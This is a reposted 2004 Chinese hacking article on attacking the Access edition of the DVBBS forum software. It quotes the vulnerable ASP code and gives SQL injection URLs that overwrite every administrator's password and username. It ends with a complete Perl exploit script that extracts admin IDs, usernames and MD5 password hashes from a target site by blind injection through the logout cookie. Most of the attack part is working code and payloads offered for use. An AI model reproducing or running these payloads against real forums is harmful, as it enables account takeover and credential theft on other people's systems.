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dvbbs绝对背后的微笑

时间：2004/10/7 18:19:00来源：本站整理作者：蓝点我要评论(0)

作者：PsKey
    站点：http://www.isgrey.com
小组主页：http://c4st.51.net
小组论坛：http://analysist.tocare.net

>>>Dedicated This Scrap To CaoJing & GuTing<<<

Envymask的睿智帮我解决了很多问题，尽管是兄弟，我还是要说谢谢。

很吃惊地看到了DVBBS发布的安全补丁，原来有人提醒了作者程序所存在的一类漏洞。可以看出，作者对DVBBS做了全面检测，并且在消除那一类漏洞的同时，也顺带消除了其他几个安全隐患。看到自己曾耗费数小时换来的“劳动成果”被作者解决，心中有点不快。

有人、文章错误地认为：动网即使存在漏洞，也只能真正威胁MSSQL版；而ACCESS版的用户敏感信息MD5加密和后台管理的SESSION+COOKIE验证则让大家认为它牢不可破：“顶多让你得到MD5加密后的密码，你还能做什么呢？”、“我们只有暴力破解”、“动网已经是非常安全的程序了”...在一个失落的清晨，我偶然发现了这位亲爱的朋友，她静静地站在绝对的背后，微笑...

因此，本文展示如何攻破“所谓安全”的ACCESS版DVBBS；由于MSSQL版的漏洞利用简单乏味，拒绝介绍。另外，请相关朋友速打补丁。

攻击分两步，首先得到管理员MD5加密的敏感信息，接着在此基础上更改后台管理员密码。

一：得到任意用户MD5加密的敏感信息
可以利用 logout.asp、messanger.asp、myfile.asp...等一大批文件所存在的Sql Injection漏洞达到目的。这些漏洞文件中logout.asp让我稍感新意，选它来说明问题：
logout.asp:
/--------------------------------------------------------------------------




<%
    dim activeuser
    membername=request.cookies("aspsky")("username")
    if session("userid")<>"" then
    activeuser="delete from online where id="&session("userid")
    Conn.Execute activeuser
    end if
    if membername<>"" then
    activeuser="delete from online where username='"&membername&"'"
    Conn.Execute activeuser
    end if
    Response.Cookies("aspsky").path=cookiepath
    Response.Cookies("aspsky")("username")=""
    Response.Cookies("aspsky")("password")=""
    Response.Cookies("aspsky")("userclass")=""
    Response.Cookies("aspsky")("userid")=""
    Response.Cookies("aspsky")("userhidden")=""
    Response.Cookies("aspsky")("usercookies")=""
    session("userid")=""
    conn.close
    set conn=nothing
    response.redirect("index.asp")
%>
/--------------------------------------------------------------------------
问题语句：    activeuser="delete from online where username='"&membername&"'"
很多人会问：这也能利用？
能！
步骤：
1：注册一用户并登陆；
2：在COOKIE中构造membername请求logout.asp，以图程序所执行的SQL查询语句中包含我们利用逻辑关系添加的子语句；
3：构造参数请求主页面，如返回页面包含用户注册名，重复第 2 步；
4：得到敏感信息。

测试程序附后。

二：闯入后台管理
我们已经得到管理员MD5加密的敏感信息，现在可以利用COOKIE欺骗可以在前台执行管理员操作。如果你依然坚持暴力破解，并认为这很有趣，你可以停止阅读本文了。

鄙视暴力破解。不是说不现实，而是说这很乏味。

admin_recycle.asp
/--------------------------------------------------------------------------
...
topicid=request("topicid")
if request("action")<>"清空回收站" then
    if topicid="" or isnull(topicid) then
        Errmsg=Errmsg+"

"+"请选择相关帖子后进行操作。"
        Founderr=true
    end if
end if
if request("tablename")="topic" then
    tablename="topic"
elseif instr(request("tablename"),"bbs")>0 then
    tablename=request("tablename")
else
    Errmsg=Errmsg+"

"+"错误的系统参数！"
    Founderr=true
end if
if not master then
    Errmsg=Errmsg+"

"+"您不是系统管理员或者您还没有登陆。"
    Founderr=true
end if
...
'还原回收站内容
sub redel()
dim tempnum,todaynum
if instr(tablename,"bbs")>0 then
    sql="update "&tablename&" set locktopic=0 where Announceid in ("&TopicID&")"
    conn.execute(sql)
...
/--------------------------------------------------------------------------
问题：
1：未采用SESSION认证
2：topicid没有过滤
3：仅要求tablename包含bbs而不采取其他任何过滤（目前依然未修正）

Tablename和TopicID前后呼应，真是天合之作。提交

http://www.psych.com/d6/admin_recycle.asp?action=还原&topicid='%20where%20id%20in%20(9&tablename=admin%20set%20[password]='ef7813118e77b0ee',lastloginip='bbs

实际执行的是

update admin set [password]='ef7813118e77b0ee', lastloginip='bbs set locktopic=0 where Announceid in (' where id in (9)

这样，ID为 9 的后台管理员的密码就被修改为 ilikecat (ef7813118e77b0ee)。

提交如上URL后，页面会返回出错提示。这是因为后面的SQL语句有语法错误，别管它，我们要求执行的语句已经在它之前“正确”执行了。

注意：前台管理员和后台管理员是一一对应的，弄错了不能正确登陆后台。为了省事，你可以：

http://www.psych.com/d6/admin_recycle.asp?action=还原&topicid='%20where%20(1=1&tablename=admin%20set%20[password]='ef7813118e77b0ee',lastloginip='bbs

所有后台管理员密码修改为 ilikecat (ef7813118e77b0ee)

http://www.psych.com/d6/admin_recycle.asp?action=还原&topicid='%20where%20(1=1&tablename=admin%20set%20username='catlikeme',lastloginip='bbs

所有后台管理员用户名修改为 catlikeme

当然，最好不要无聊到把所有注册用户的帐号和密码全修改了。

OK，本地COOKIE做些处理后，劳请使用 catlikeme/ilikecat 登陆后台进行“管理”。

/--------------------[获取任意用户MD5加密信息的测试程序：

#!/usr/bin/perl
#Codz By PsKey
#Exploit of DVBBS's logout.asp

#--------------------------------------------------------------------------
#  本脚本针对动网论坛logout.asp文件缺陷而写，可以推算出所有用户
#  MD5加密密码；另外可以自动破解后台管理员ID、username、password
#  脚本参照最新版本编写，若低版本出现不能用的情况，请自行修改程序
#  脚本利用方法：
#  1：在目标论坛以 ilikecat/catlikeme 注册一用户，并得到此用户的 userid
#  2：再另注册一任意用户(此步不可少)
#  3：运行脚本，按帮助输入命令参数
#  如果是MSSQL版，请把这段糟糕的脚本扔到一边
#--------------------------------------------------------------------------

$|=1;
use Socket;
use Getopt::Std;
getopt('hpwium');

print "\n             ===================================================\n";
print "                       Exploit of DVBBS's logout.asp\n";
print "                     Codz By PsKey     \n";
print "                       www.isgrey.com && c4st.51.net              \n";
print "                       Thanx Envymask<130\@21cn.com>            \n";
print "             ===================================================\n";

&usage unless ( defined($opt_h) && defined($opt_w) && defined($opt_i) && defined($opt_m));

$host=$opt_h;
$port=$opt_p||80;
$path=$opt_w;
$userid=$opt_i;
$user=$opt_u;
$mode=$opt_m;

if ($opt_m eq "p") {
&usage unless defined($opt_u);
print "\nPlease wait...\n\n";
for ($j=1;$j<=16;$j++) {
@dic1=(0..9);
@dic2=(a..f);
@dic=(@dic1,@dic2);
&first;
for ($i=0;$i<@dic;$i++) {
print "$dic[$i]";
$key=$pws.$dic[$i];
$target = "ilikecat'%20and%20exists%20(select%20UserID%20from%20[user]%20where%20UserName='$user'%20and%20left(UserPassword,$j)='$key')%20and%20'1'='1";
&second;
if ("@in" !~ /ilikecat/)  {
    $th=$j.th;
    print "\n\/\/------------The $th word of the password is $dic[$i]";
    $pws=$pws.$dic[$i];
    last;
}
}
}
print "\n\nSuccessful,the full password of $user is $pws.\n";
}

elsif ($opt_m eq "b") {

#Crack ID
print "\n\#\#\#\#\#\#\#\#\#\#\#Start cracking admin's id...";
&first;
for ($i=0;$i<=50;$i++) {
$target = "ilikecat'%20and%20exists%20(select%20id%20from%20[admin]%20where%20id=$i)%20and%20'1'='1";
&second;
if ("@in" !~ /ilikecat/)  {
    print "\n--------->>There is one admin's id $i";
    push (@id,$i);
    &first;
}
}
print "\n\#\#\#\#\#\#\#\#\#\#\#End cracking admin's id...\n";
sleep(2);

#Crack the length of admin's username
print "\n\#\#\#\#\#\#\#\#\#\#\#Start Cracking the length of admin's username...\n";
for ($j=0;$j<@id;$j++) {
print "  \|\-\>cracking username's length which id is $id[$j] ...";
&first;
for ($i=0;$i<=50;$i++) {
$target = "ilikecat'%20and%20exists%20(select%20id%20from%20[admin]%20where%20len(username)=$i%20and%20id=$id[$j])%20and%20'1'='1";
&second;
if ("@in" !~ /ilikecat/)  {
    print "\n--------->>The length of $id[$j] is $i";
    push (@len,$i);
    &first;
    last;
}
}
}
print "\n\#\#\#\#\#\#\#\#\#\#\#End Cracking the length of admin's username...\n";
sleep(2);

#Crack admin's username
print "\n\#\#\#\#\#\#\#\#\#\#\#Start Crackadmin's username...\n";
@dic1=(0..9);
@dic2=(a..z);
@dic=(@dic1,@dic2);
for ($j=0;$j<@id;$j++) {
$pws="";
print "  \|\-\>cracking username which id is $id[$j] ...";
  OUTER: for ($k=1;$k<=$len[$j];$k++) {
  &first;
  USERNAME: for ($i=0;$i<@dic;$i++) {
  print "$dic[$i].";
  $key=$pws.$dic[$i];
  $target = "ilikecat'%20and%20exists%20(select%20id%20from%20[admin]%20where%20id=$id[$j]%20and%20left(username,$k)='$key')%20and%20'1'='1";
  &second;
  if ("@in" !~ /ilikecat/)  {
    $th=$k.th;
    print "\n--------->>The $th word of $id[$j] username is $dic[$i]";
    $pws=$pws.$dic[$i];
    last USERNAME;
        }
  if ($dic[$i] eq "z") {
    print "\ni can't crack this admin's name,maybe it is chinese.\n";
    push (@user,"\?");
    last OUTER;
        }
      }
    }
  push (@user,$pws);
  print "\n========>>The username is $pws which id is $id[$j]\n";
}
print "\n\#\#\#\#\#\#\#\#\#\#\#End Crackadmin's username...\n";
sleep(2);

#Crack admin's password
print "\n\#\#\#\#\#\#\#\#\#\#\#Start Crackadmin's password...\n";
@dic1=(0..9);
@dic2=(a..f);
@dic=(@dic1,@dic2);
for ($j=0;$j<@id;$j++) {
$pws="";
print "  \|\-\>cracking password which id is $id[$j] ...";
  for ($k=1;$k<=16;$k++) {
  &first;
  PASSWORD: for ($i=0;$i<@dic;$i++) {
  print "$dic[$i].";
  $key=$pws.$dic[$i];
  $target = "ilikecat'%20and%20exists%20(select%20id%20from%20[admin]%20where%20id=$id[$j]%20and%20left(password,$k)='$key')%20and%20'1'='1";
  &second;
  if ("@in" !~ /ilikecat/)  {
    $th=$k.th;
    print "\n--------->>The $th word of $id[$j] password is $dic[$i]";
    $pws=$pws.$dic[$i];
    last PASSWORD;
        }
      }
    }
  push (@pass,$pws);
  print "\n\n========>>The password is $pws which id is $id[$j]\n\n";
}
print "\#\#\#\#\#\#\#\#\#\#\#End Crackadmin's password...\n\n";
print "We got them now:\n";
printf("%-4s %-20s %-16s\n",ID,UserName,PassWord);
for ($i=0;$i<@id;$i++) {
printf("%-4d %-20s %-16s\n",$id[$i],$user[$i],$pass[$i]);
}
}

else {
&usage;
}

sub first {
$str="username=ilikecat&password=catlikeme&CookieDate=1";
$len=length($str);
$req = "GET $path/login.asp?action=chk&username=ilikecat&password=catlikeme HTTP/1.1\n".
       "Referer: http://$host$path/login.asp\n".
       "Host: $host\n".
       "Content-Length: $len\n".
       "Cookie: aspsky=usercookies=&userid=&userclass=&username=&userhidden=&password=; iscookies=0; BoardList=BoardID=Show;upNum=0\n".
       "\n".
       "$str\n\n";
print "\n.";
sendraw($req);
$req0 = "GET $path/index.asp HTTP/1.0\n".
        "Referer: http://$host$path/index.asp\n".
        "Host: $host\n".
        "Cookie: aspsky=userid=$userid&usercookies=0&userhidden=2&password=aac9ac496fa5ea8e&userclass=%D0%C2%CA%D6%C9%CF%C2%B7&username=ilikecat; iscookies=0; BoardList=BoardID=Show; upNum=0\n\n";
print ".\n";
sendraw($req0);
}

sub second {
$req1 = "GET $path/logout.asp HTTP/1.0\n".
        "Host: $host\n".
        "Cookie: aspsky=userid=$userid&usercookies=1&userhidden=2&username=$target; iscookies=0; BoardList=BoardID=Show; \n\n";
print ".";
@res = sendraw($req1);
$req2 = "GET $path/index.asp?action=show HTTP/1.0\n".
        "Referer: http://$host$path/index.asp?action=show \n".
        "Host: $host\n".
        "Cookie: aspsky=usercookies=&userid=&userclass=&username=&userhidden=&password=; iscookies=0; BoardList=BoardID=Show; upNum=0\n\n";
print ".";
@in = sendraw($req2);
}

sub usage {
print qq~
Usage: $0 -h [-p ] -w -i -m [-u ]
    -h   =hostname you want to attack
    -p   =port,80 default
    -w   =the web path such as "/dvbbs"
    -i   =the userid of ilikecat
    -m   =only two choice,b and p(This option need -u)
    -u   =the user you want to crack
Eg: 1.Crack proscenium
     $0 -h www.target.com -p 80 -w /dvbbs -i 2 -m p -u admin  
    2.Crack background
     $0 -h www.target.com -p 80 -w /dvbbs -i 2 -m b
~;
exit;
}

sub sendraw {
    my ($req) = @_;
    my $target;
    $target = inet_aton($host) || die("inet_aton problems\n");
    socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket problems\n");
    if(connect(S,pack "SnA4x8",2,$port,$target)){
        select(S);
    $| = 1;
        print $req;
    my @res = ;
        select(STDOUT);
    close(S);
        return @res;
    }
    else {
    die("Can't connect...\n");
    }
}